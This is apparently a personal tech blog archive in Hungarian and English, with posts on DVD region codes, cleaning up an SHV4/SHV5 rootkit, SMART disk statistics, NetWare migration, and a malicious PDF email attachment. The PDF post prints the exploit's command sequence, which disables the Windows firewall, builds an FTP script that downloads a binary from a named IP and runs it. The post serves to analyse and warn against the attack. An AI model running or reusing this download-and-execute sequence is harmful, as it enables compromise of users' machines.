Archive for the ‘technikai infók’ Category

Free Tibet, Free Willy, Free Region…

Friday, September 2nd, 2011

Történt, hogy gondoltam DVD-t nézek*.
Meglepődtem, mert a DVD lejátszó azt mondta, hogy nem hajlandó lejátszani az 1-es régiókódú lemezt.

Nahát, micsoda hanyagság, lehet, hogy még nem régiókódmentesítettem ezt a legalább 3 éves – LG RH199S – lejátszót? (gondolta Stirlitz).

Gép elé leül, Google, első találat.

DVD bekapcsol, setup, régióhoz lép, hét darab nulla beüt. Eredmény:

De most tényleg.
Mekkora barom volt aki a régiókodolást kitalálta?
Ha abszolúte lehetetlen lenne egy készüléket átkódolni, akkor is: mi lenne?

Lenne egy kettes régiókódú lejátszóm, meg egy egyes (legalább) – és persze cumiznék a sok kábel miatt…
Amúgy meg örülhetnének a gyártók, mert így egy olyan lemezt is megveszek, ami csak amerikában jelent meg (extrák, egyéb nyelvek, stb.) azon felül ami megjelent itt is (ha egyáltalán…)

* – Ez is már egy éves cikk lenne, de csak most találtam meg hozzá a képet…

So you got rooted by SHV4 / SHV5 rootkit…

Wednesday, November 17th, 2010

Best symptom that you have SHV4/5 is that you start getting “Unknown HZ value! (#) Assume 100.” messages from top/ps.

More on this at:
http://www.bigismore.com/web-server-security/unknown-hz-value-assume-100-youve-been-hacked/

rkhunter can help you “confirm” such situation too. Additionally run “chkrootkit” as well.

Now, the question, how you get rid of those.
Many forum/article/etc. on the web will likely say that you do a clean install. Meanwhile undoubtly that’s the best, you might be in a situation where that cannot be accomplished (easily), and/or you need fast (maybe temporary) remedy.

“Best” information I found was at:
http://www.linuxforums.org/forum/security/47606-shv4-shv5-rootkit-installed.html

So, the rootkit REPLACES – at least, but not limited to – the following commands at their appropriate location (/bin, /sbin, /usr/bin, etc): find, ifconfig, ls, md5sum, netstat, ps, pstree, top, dir, slocate, lsof […]

It also installs and runs /sbin/ttymon and /sbin/ttyload.
Since “ps” is replaced, you won’t be able to list them, though they would likely be running.
You can blindly issue a “killall ttymon” and “killall ttyload” to try to get rid of those process, but anyway you would need a “proper” ps to get information whether they’re killed and if not, try killing by process ID [kill -9 #].

You can get a “ps” from an identical or at least close linux system, or check /usr/lib/libsh/.backup – as the “decent” rootkit makes backups of the “clean” commands there.

After getting rid of the running process[es], lsattr -i -a the suspicious files (if you have the .backup directory, start with the named those), then replace them from either the .backup or from another identical system.

Move/backup/delete the following directories/files:
/usr/lib/libsh
/usr/lib/lidps1.so
/lib/libsh.so
/sbin/ttymon
/sbin/ttyload
/dev/devx
/etc/sh.conf

Check and delete “new”/unneeded entries from:
/etc/passwd and /etc/shadow [like psadmin, default, userx, sysadmin – also delete/move home directories of those, some might have .ssh/authorized.keys]
/root/.ssh/authorized.keys and known_hosts

Change administrator account’s passwords… [And anything you suspect to be leaked and important…]

And of course try to find the cause/way how you got hacked and make sure it won’t happen again.
Based on the creaton time of the directories, you might get a clue when the rooting happened, and check syslog, daemon.log, auth.log, etc. for clues.

Recent hacks could be related to proftpd exploit:
http://www.zerodayinitiative.com/advisories/ZDI-10-229/
This is/was supposely fixed in version 1.3.3c of proptfp [Fixed Telnet IAC stack overflow vulnerability (ZDI-CAN-925 ] – and likely backported to earlier version in your distribution, check changelog for package.
Debian changelog for reference:
http://packages.debian.org/changelogs/pool/main/p/proftpd-dfsg/proftpd-dfsg_1.3.3a-5/changelog

In case of vulnerable profptd, stop the daemon – and kill all process containing the word proftpd, there will be some…
Download and install the new package.

You might check proftp’s log “just for the fun”, you should see such mix of entries like:
“client sent too-long command, ignoring”, then
“ProFTPD terminating (signal 11)”, then
“FTP session closed.”.
Likely more of these. Then repeated open/closes.

If you see such messages in your log – and not yet hacked -, then update proftpd ASAP to avoid getting SHV4/SHV5 or anything else…

Egy korszak vége

Friday, July 24th, 2009

Kedden véget ért egy korszak — felszámoltuk a saját NetWare (4.11) szerverünket.
Amúgy is már EOL (End-Of-Life) termék volt vagy 10 éve, meg a diszkeknek is furcsa hangja kezdett lenni, lassan tehát úgyis “hozzá kellett volna nyúlni”.

Nagyjából minden működik eltekintve egy-két dologtól, olyan banális okok miatt, ami a harmadik évezredben eléggé röhejesnek tűnik.
Például a hálózaton lévő banki program valamilyen hülye okból a helyi gépen létrehozott könyvtárát törölni kell, majd az induláskor létrehozza és boldog lesz. Ez egy, a bank által már korábbról “ismert probléma”. Kérdés, hogy akkor miért nincs “kijavítva” a program?

Másik példa, hogy az eddig Novell NetWare szerveren tárolt Outlook Express adatbázis nem tárolható Windows szerveren. Sem menüből, sem registry átállítással nem lehet rávenni, hogy menjen. A hivatalos “magyarázat”: http://support.microsoft.com/kb/199074 – azaz “nem lehet” hálózati megosztáson.
Valószínűleg a programozó a Microsoftnál nem tekintette a Novell NetWare-t hálózati operációs rendszernek, ezért lehetett, hogy azon vígan ment… :-]

Az, hogy ugyan a felhasználónak kiosztott jogosultság azonnal, de a csoporton keresztül adott jogosultság csak újra bejelentkezés után “él”, megérne egy misét (az egész Microsoft jogosultságkezelés meg egy egész bibliát). NetWare alatt ha egy nagyobb fájt másolok és _közben_ elveszem a jogot a felhasználótól, akkor azonnal nem tudja továbbolvasni a fájlt. Windows alatt ez nem egészen így van…
(Jut eszembe, annó véletlenül kivettem egy működő NetWare szerverből egy hálózati kártyát és csak akkor vettem észre, hogy mit tettem, amikor a konzolon kiírta, hogy valami PCI event van… Aztán ijedtemben vissza is tettem, örült neki, és minden ment tovább… – Ez akkortájt volt, amikor Windows NT-n még újra kellett indítani a szervert IP cím változtatáskor…)

Azt hiszem már közeleg az az idő, melyben a kőbalta lesz a legcélszerűbb eszköz – hacsak nem kell majd illesztőprogram ahhoz is…

Ne kicsinyeskedjünk…

Tuesday, March 24th, 2009

Ez is egy régebbi anyag – na jó, baromi régi, 1991-ből a Novell NSE adatbázisából -, de az ilyeneknek egyszerűen fenn kell maradnia örökre!
Ez a hozzáállás kéremszépen, én is szeretnék sok sok ilyen “user”-t…

This is an old material too -well, extremely old, from Novell’s NSE database, 1991 -, but articles like these must be kept public forever.
This is the real attitude, I’d like to have many many users like this…

 

FYI:  “Mirror Copies of Volume Dir Dont Match” – Ontrack

DISCLAIMER 

 The origin of this information may be internal or external to Novell.  Novell makes every effort within its means to verify this information.  However, the information provided in this document is FOR YOUR INFORMATION only.  Novell makes no explicit or implied claims to the validity of this information.

 

TITLE:                                            “Mirror Copies of Volume Dir Dont Match” – Ontrack

DOCUMENT ID#:                         FYI.P.4291

DATE:                                             09OCT91

PRODUCT:                                   NetWare

PRODUCT VERSION:                v3.11

SUPERSEDES:                           NA

SYMPTOM:                                   

The user had extremely sensitive data stored on a file server in Kuwait. Thinking something was wrong, the user turned off the power to the server.  After powering the machine back up, the system displayed the following error message:

┌───────────────────────────────────────┐
│Mirror copies of volume dir dont match │
└───────────────────────────────────────┘

ISSUEPROBLEM

The Novell technician told the user to run VREPAIR because it fixes this problem 99 percent of the time.  The user did not want take the 1 percent risk of running VREPAIR.

SOLUTION

The user flew a team from Ontrack to Kuwait and they successfully recovered 100 percent of the data.

Ontracks data recovery phone numbers are the following:

      USA                   1-800-872-2599

      International  1-612-937-5161

      FAX                    1-612-937-5750

Ontrack has two offices in the U.S. and one in Europe.

      Ontrack London office

      Phone: 44-81-549-3444

            Fax:   44-81-546-6642

SMARTy

Thursday, June 26th, 2008

HDD manufacturers invented S.M.A.R.T. some years ago.
So we should be happy, though I am not.

For one thing, there are no default error rates for attributes/thresholds, but manufacturer’s define (see also) when a drive is bad, and when it is good. Then of course they define it “to the extremities” so a drive in some cases can never go to bad SMART state even if it has constant problems. See more on this at: http://www.hdsentinel.com/smart/, from section “#1 Incorrect thresholds”.

I understand that current technology – in the microns – needs different approach than 10-15 years ago, but I fail to understand for example how a “197/C5” (Current Pending Sector Count) attribute can exist and increase without big red warnings. This means that the sector was successfully written once, but later on it was couldn’t be read (equals data loss). And this doesn’t count as an error (according to harddisk manufacturers), only an increase of an attribute (which can decrease too!). My point of view is that this is sort of the equivalent of the “old day’s” dreadful “bad sector” term. Though that time this things usually happened at write time, so you could immediately notice.

This is a picture of one of my (brand new) Samsung HD501LJ harddisks after 2 days of operation.

The second one followed it’s “path” some days later.

They were mirrored, but swap got corrupted, then ssh and console got swapped out and couldn’t make it back to the memory. So eventually I had to power off the server and since the mirror broke, I didn’t have a fully readable, “mirrorable” array or disk, so I had to do a file by file copy to new disks. Of course off peak, so it was like from 01:00 to 04:00. Was fun… [not].

I also installed a server with 8 Samsung 500 drives, eventually we had to replace all (Hitachis seem to work fine).
If you format/rewrite a harddisk with a bunch of these “read errors”, then voila: the errors go away. Then manufacturer  refuses to replace the harddrive – because of “no errors”. So we stopped selling Samsung harddisks.

I consulted my friend who recovers data from damaged disks, and he confirmed that Samsung is “experiencing problems” with the PMR technology and recommended Hitachi and Seagate drives to use. I then used then a pair consisting of a Hitachi and a Seagate drives to avoid simultaneous failure because of same technology/same time manufacturing.

“Hitachi drives use quite special own technology to park HDD heads outside of magnetic disks area to a special parking ramp. This causes HDD heads not to suffer from parking – they’re NEVER land on disk surface during parking. So, actually, Hitachi HDDs can handle a LOTS of starts/stops without any real problems.” [quoted from here] – [original hitachi article / same in html, from google cache]
Parking _on_ the platter can be seen here (picture 1 and 2).

Even if your server runs 24/7 in a server room with proper power and climate, it can happen that you stop your server and it’s harddisk[s] would never spin up again – because of the contact with the drive’s surface it can get stuck in the dirt (then might even fell off at a restart).

Additionally meanwhile most manufacturers (Hitachi/IBM, Seagate and even Samsung) use embedded servo on all platters nowadays, some models have only one servo information for all platters (“Format Disk with Servo Tracks Once, Use Servo Information with Many Heads“) which makes an occasional recovery less possible because even when a professional disassembles a faulty drive, the platters can move, then chances to recover anything from those platters without servo information is near to impossible.

So kids, avoid Samsung drives for the time being…

Okosabb vagy-e mint a S.M.A.R.T. ?

Monday, March 17th, 2008

Felmerült már többször mostanában, hogy mire jó a S.M.A.R.T. és mit is jelentenek az értékei.
Főleg a leggyakrabban előforduló “
Raw_Read_Error_Rate” (1) és a “Hardware_ECC_Recovered” (195) attributum.

Ha jól értelmezem az új HDD technológiákat és a S.M.A.R.T.-ot, akkor ezek nem “hibák” [nézőpont kérdése… én tiltakozom…].

Az egyik (nemrég cserélt) Seagate HDD-re a “smartctl -a” azt mondja, hogy:

Device Model:     ST3500320AS
Serial Number:    9QM0BEJ3
Firmware Version: SD15
User Capacity:    500.107.862.016 bytes

SMART Attributes Data Structure revision number: 10
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000f   117   099   006    Pre-fail  Always       –       157989864
  3 Spin_Up_Time            0x0003   094   094   000    Pre-fail  Always       –       0
  4 Start_Stop_Count        0x0032   100   100   020    Old_age   Always       –       44
  5 Reallocated_Sector_Ct   0x0033   100   100   036    Pre-fail  Always       –       0
  7 Seek_Error_Rate         0x000f   074   060   030    Pre-fail  Always       –       25943365226
  9 Power_On_Hours          0x0032   099   099   000    Old_age   Always       –       1550
 10 Spin_Retry_Count        0x0013   100   100   097    Pre-fail  Always       –       0
 12 Power_Cycle_Count       0x0032   100   100   020    Old_age   Always       –       44
184 Unknown_Attribute       0x0032   100   100   099    Old_age   Always       –       0
187 Unknown_Attribute       0x0032   100   100   000    Old_age   Always       –       0
188 Unknown_Attribute       0x0032   100   100   000    Old_age   Always       –       0
189 Unknown_Attribute       0x003a   099   099   000    Old_age   Always       –       1
190 Temperature_Celsius     0x0022   055   048   045    Old_age   Always       –       807600173
194 Temperature_Celsius     0x0022   045   052   000    Old_age   Always       –       45 (Lifetime Min/Max 0/15)
195 Hardware_ECC_Recovered  0x001a   054   048   000    Old_age   Always       –       157989864
197 Current_Pending_Sector  0x0012   100   100   000    Old_age   Always       –       0
198 Offline_Uncorrectable   0x0010   100   100   000    Old_age   Offline      –       0

199 UDMA_CRC_Error_Count    0x003e   200   200   000    Old_age   Always       –       0

Meg persze a logot is teleírkálja a megfelelő entry-kkel.

Namármost a kék elméletileg nem gond.

Az aktuális HDD technológia ill. a S.M.A.R.T. elméletileg úgy működik, hogy:

Beolvassuk szektort. Sikerült, jó az adat? Igen –> Király, goto vége.

Ha nem sikerült, akkor a beolvasott adatból meg a szektor mellé olvasott ECC-ből össze tudjuk rakni, hogy minek kéne lennie a szektor tartalmának?

Ha igen, akkor a Raw_Read_Error_Rate (1) és/vagy Hardware_ECC_Recovered (195) változókat növeljük.

MInt látható, a fenti diszken van mindkettő, és minkettő ugyanannyi, 157 millió akárhány. Szerintem ez 1550 órára vetítve problémásan sok, de hát ez a csodás a S.M.A.R.T. technológiában, hogyha a gyártó úgy gondolja, hogy az nem probléma, akkor nem az…

Alább a Hitachinál csak Raw_Read_Error_Rate (1) van (bár itt “csak” 1.5 millió esemény történt 1548 óra alatt), még lejebb a Samsungnál van ugyan mindkét változó, de csak a Hardware_ECC_Recovered tükrözi az összes ECC-vel javitott (tehát hibásan is olvasott) esemény számot. Ez a másik csodás a S.M.A.R.T.-ban, a gyártók ízlésüknek megfelelő értéket tárolnak benne és szintén ők “találják ki”, hogy mi a hozzátartozó tűrésküszöb. Ami értelemszerűen akkorára van véve, hogy ne vigyék vissza minden második diszket a kedves végfelhasználók…

Szóval, ha viszont az ECC alapján sem sikerült a tartalmat visszaállítanunk, akkor bizony a hagyományos értelemben vett “bad sectorral” van dolgunk, ugyanis egyébként lehet, hogy jó lenne a szektor, ha újraírnánk, de ez kevéssé vígasztal minket, ha pont azon a szektoron fontos adatunk van, netán valami kriptográfiai fájlrendszerünk kulcsának egy része helyezkedik el rajta…

Ez S.M.A.R.T. ügyileg a – pirossal kiemelt – 197-es Current_Pending_Sector tartalmát fogja növelni.
A probléma itt kezdődik – leszámítva persze az egész új HDD technológia/S.M.A.R.T. kombót…

Device Model:     Hitachi HDT725050VLA360
Serial Number:    VFK401R41TPL8K
Firmware Version: V56OA7EA
User Capacity:    500.107.862.016 bytes

SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000b   093   093   016    Pre-fail  Always       –       1572878
  2 Throughput_Performance  0x0005   100   100   050    Pre-fail  Offline      –       0
  3 Spin_Up_Time            0x0007   121   121   024    Pre-fail  Always       –       486 (Average 340)
  4 Start_Stop_Count        0x0012   100   100   000    Old_age   Always       –       10
  5 Reallocated_Sector_Ct   0x0033   100   100   005    Pre-fail  Always       –       0
  7 Seek_Error_Rate         0x000b   100   100   067    Pre-fail  Always       –       0
  8 Seek_Time_Performance   0x0005   100   100   020    Pre-fail  Offline      –       0
  9 Power_On_Hours          0x0012   100   100   000    Old_age   Always       –       1548
 10 Spin_Retry_Count        0x0013   100   100   060    Pre-fail  Always       –       0
 12 Power_Cycle_Count       0x0032   100   100   000    Old_age   Always       –       10
192 Power-Off_Retract_Count 0x0032   100   100   000    Old_age   Always       –       74
193 Load_Cycle_Count        0x0012   100   100   000    Old_age   Always       –       74
194 Temperature_Celsius     0x0002   109   109   000    Old_age   Always       –       55 (Lifetime Min/Max 20/60)
196 Reallocated_Event_Count 0x0032   100   100   000    Old_age   Always       –       0
197 Current_Pending_Sector  0x0022   100   100   000    Old_age   Always       –       0
198 Offline_Uncorrectable   0x0008   100   100   000    Old_age   Offline      –       0
199 UDMA_CRC_Error_Count    0x000a   200   253   000    Old_age   Always       –       0

Model Family:     SAMSUNG SpinPoint P80 SD series
Device Model:     SAMSUNG HD120IJ
Serial Number:    S0AEJ1ML200047
Firmware Version: ZL100-33
User Capacity:    120.034.123.776 bytes

SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000f   100   100   051    Pre-fail  Always       –       36
  3 Spin_Up_Time            0x0007   100   100   025    Pre-fail  Always       –       6336
  4 Start_Stop_Count        0x0032   100   100   000    Old_age   Always       –       27
  5 Reallocated_Sector_Ct   0x0033   253   253   010    Pre-fail  Always       –       0
  7 Seek_Error_Rate         0x000f   253   253   051    Pre-fail  Always       –       0
  8 Seek_Time_Performance   0x0025   253   253   015    Pre-fail  Offline      –       0
  9 Power_On_Hours          0x0032   100   100   000    Old_age   Always       –       1903
 10 Spin_Retry_Count        0x0033   253   253   051    Pre-fail  Always       –       0
 11 Calibration_Retry_Count 0x0012   253   002   000    Old_age   Always       –       0
 12 Power_Cycle_Count       0x0032   100   100   000    Old_age   Always       –       27
190 Temperature_Celsius     0x0022   094   088   000    Old_age   Always       –       48
194 Temperature_Celsius     0x0022   094   088   000    Old_age   Always       –       48
195 Hardware_ECC_Recovered  0x001a   100   100   000    Old_age   Always       –       152375033
196 Reallocated_Event_Count 0x0032   253   253   000    Old_age   Always       –       0
197 Current_Pending_Sector  0x0012   100   100   000    Old_age   Always       –       1
198 Offline_Uncorrectable   0x0030   253   253   000    Old_age   Offline      –       0
199 UDMA_CRC_Error_Count    0x003e   200   200   000    Old_age   Always       –       0
200 Multi_Zone_Error_Rate   0x000a   100   100   000    Old_age   Always       –       0
201 Soft_Read_Error_Rate    0x000a   100   100   000    Old_age   Always       –       2
202 TA_Increase_Count       0x0032   253   253   000    Old_age   Always       –       0

Bocs a szétesett táblákért, a WordPress is egy kalap szamóca, de persze lehet, hogy én nem értek hozzá… (Ehhez sem…)

Virtual PC időszinkronizáció

Friday, February 22nd, 2008

A Microsoft Virtual PC szoftver alaphelyzetben szinkronizálja a guest OS rendszeridejét a host OS-éhez.
Tehát a guest operációs rendszeren esetlegesen megváltoztatott idő “visszaáll”.
Néha hasznos, ha ez nincs így.

A megoldás a .VMC file XML szekciójának átszerkesztése az alábbiak szerint:
  <integration>
   <microsoft>
    ….
    <components>
     <host_time_sync>
      <enabled type=”boolean”>false</enabled>
     </host_time_sync>
    </components>
    ….
   </microsoft>
  </integration>

Excel Sudoku solver – non-macro version

Wednesday, January 30th, 2008

Régebben ígértem egy sudoku megoldó Excel táblázatot, mely makrók nélkül, csak a beépített funkciókkal oldja meg a feladatot. Hát itt lenne. Át akartam tenni OpenOffice.org alá is, de ez a különbségek miatt most nem jött össze, esetleg valaki vállalkozó szellemű majd megteszi helyettem…
A táblázat jelenleg csak az alap sor/oszlop/3×3 alapú kizárással dolgozik, nem csinál dupla (tripla, stb.) számpár alapú kizárást, de ez elég a feladványok nagyrészének megoldásához. Szerintem a számpár alapú kizárás is megoldható, de egyenlőre ezt a feladatot is a kedves olvasóra hagyom. A táblázat működésének tanulmányozása (például az eredmény pirossal történő megjelenítése és hasonló nyalánkságok) is az olvasó épülésére szolgálhat.

Some time ago, I promised you a proof-of-concept Sudoku solver in Excel, WITHOUT using macros.
So here it is, a Sudoku solver, using Excel functions only.
I was to adopt it to OpenOffice.org too, but due to differences, I gave it up after some time. Maybe someone will take some time to do that…
The spreadsheet currently doesn’t solve “double (triple, etc.) naked pairs”, only “standard” row/column/3×3 rule outs, but that’s enough for most of the basic/middle level puzzles. I believe that the “naked pairs” rule out could be implemented too, without using macros too. Check out used methods/functions in this spreadsheet to learn “quirks” (like show results in red) you might be able to implement somewhere in your spreadsheet sometime, to make others happy…

Download sudoku.xls  /  sudoku.xls letöltése

Screenshot / képernyőkép

Az előző PDF exploit magyarázata – details on PDF containing exploit

Tuesday, October 30th, 2007

Így néz ki a tegnap kapott biztonsági hibát tartalmazó PDF fájl:
(This is how the recently received PDF document’s exploit looks like:)

../../../windows/system32/cmd”.exe”” /c ” cmd
/c = kódvégrehajtás “parancs1 & parancs2 & … & parancsN” formában, idézőjelek között, “&” jellekkel elválasztva.
/c = execution of commands, between quotes, separated by “&”s, eg.: “command1 & command2 & … & commandN”

set
cls

netsh firewall set opmode mode=disable
kikapcsoljuk a tűzfalat (disable the firewall)

echo o 81.95.146.181 >i
echo binary >>i
echo get /system.com >>i
echo quit >>i
“i” nevű ftp scriptet kreálása, mely megnyitja a 81.95.146.181-es hostot, bináris módba kapcsol, letölti a system.com-ot majd kilép.
(Creation of FTP script “i”, which will open 81.95.146.181, switches to binary, downloads system.com then exits)

ftp -s:i -v -A >nul
Az FTP script végrehajtása (-v=távoli kiszolgáló válaszainak letiltása, -A=Anonim bejelentkezés)
(Execution of the FTP script. -v=don’t display remote replies, -A=use anonymous account)

del /q i
Script törlése (Delete script)

start system.com
Letöltött “system.com” indítása
(Execution of downloaded “system.com”)

Mellesleg én nem tudtam letölteni de még kapcsolódni sem a fenti IP-hez, valószínűleg túl lett terhelve vagy lekapcsolták…
(BTW, I wasn’t able to download or even connect to the above IP. Might be overloaded or kicked off.”)

Már megint egy csúnyaság – PDF trójai letöltő…

Tuesday, October 30th, 2007

Kaptam az imént egy PDF melléklettel bíró levelet. Elsőre úgy tűnt, hogy valami spam, az üzenetben lévő “Please have a look at attached document.” és a “report.2007.10.29.6129157.pdf” mellékletnévből. Gondoltam megnézem ebben éppen mi van, mert már jó ideje nem jött ilyen spam.

Hát, nem spam volt. Ez viszonylag hamar feltűnt, mert felugrott egy DOS ablak cmd.exe-vel…
Már húztam is ki az UTP csatlakozót…

Szerverünkön kézi filter adjusztálása, virustotal és információgyűjtés után úgy tűnik, hogy ez egy PDF-exploitos gozi (vagy végül is akármi más) trojan installer.
http://www.secureworks.com/research/threats/gozipdf

Virustotal eredménye:
A(z) report.2007.10.29.6129157.pdf állomány feltöltve: 2007.10.29 23:22:17 (CET)
Eredmény: 6/31 (19.36%)

Antivírus

Verzió
Utolsó frissítés
Eredmény
AhnLab-V3 2007.10.30.0 2007.10.29
AntiVir 7.6.0.30 2007.10.29 EXP/PDF.URI.Gen
Authentium 4.93.8 2007.10.29
Avast 4.7.1074.0 2007.10.29
AVG 7.5.0.503 2007.10.29
BitDefender 7.2 2007.10.30
CAT-QuickHeal 9.00 2007.10.29 Expoit.PDF.CVE-2007-5020
ClamAV 0.91.2 2007.10.29 Exploit.PDF-1
DrWeb 4.44.0.09170 2007.10.29
eSafe 7.0.15.0 2007.10.28
eTrust-Vet 31.2.5250 2007.10.29
Ewido 4.0 2007.10.29
FileAdvisor 1 2007.10.29
Fortinet 3.11.0.0 2007.10.19
F-Prot 4.3.2.48 2007.10.29
F-Secure 6.70.13030.0 2007.10.29
Ikarus T3.1.1.12 2007.10.29
Kaspersky 7.0.0.125 2007.10.30 Exploit.Win32.PDF-URI.l
McAfee 5151 2007.10.29
Microsoft 1.2908 2007.10.30
NOD32v2 2623 2007.10.29
Norman 5.80.02 2007.10.29
Panda 9.0.0.4 2007.10.29
Prevx1 V2 2007.10.29
Rising 19.47.02.00 2007.10.29
Sophos 4.23.0 2007.10.29
Sunbelt 2.2.907.0 2007.10.29
Symantec 10 2007.10.30 Bloodhound.Exploit.163
TheHacker 6.2.9.110 2007.10.27
VBA32 3.12.2.4 2007.10.28
VirusBuster 4.3.26:9 2007.10.29 Exploit.PDF.Gen

További információ

File size: 4854 bytes
MD5: 356caee3eff70746d7dceec345123f21
SHA1: 2403cb3c827b9504f7717bbafdcb5e89ed847924

Tehát sok víruskereső nem csinál vele semmit, ami értelemszerűen nem túl jó. Jó kis PDF exploit családot vélek vízionálni a közeljövőre. Az exploit egyébként 2007 szeptember 20.-án jelent meg a bugtraq-on.

Konklúzió:
A víruskeresőkön felül nem bízhatunk ma már a PDF fájlokban sem.
Frissítsük sürgősen Acrobat Reader-ünket innen:
http://www.adobe.com/support/security/bulletins/apsb07-18.html

Addendum: Ühm, úgy tűnik, hogy magyarból csak 8.0 van és csak angolból van 8.11. Akkor marad vagy az angol, vagy a fentiekben leírt registry hackelés…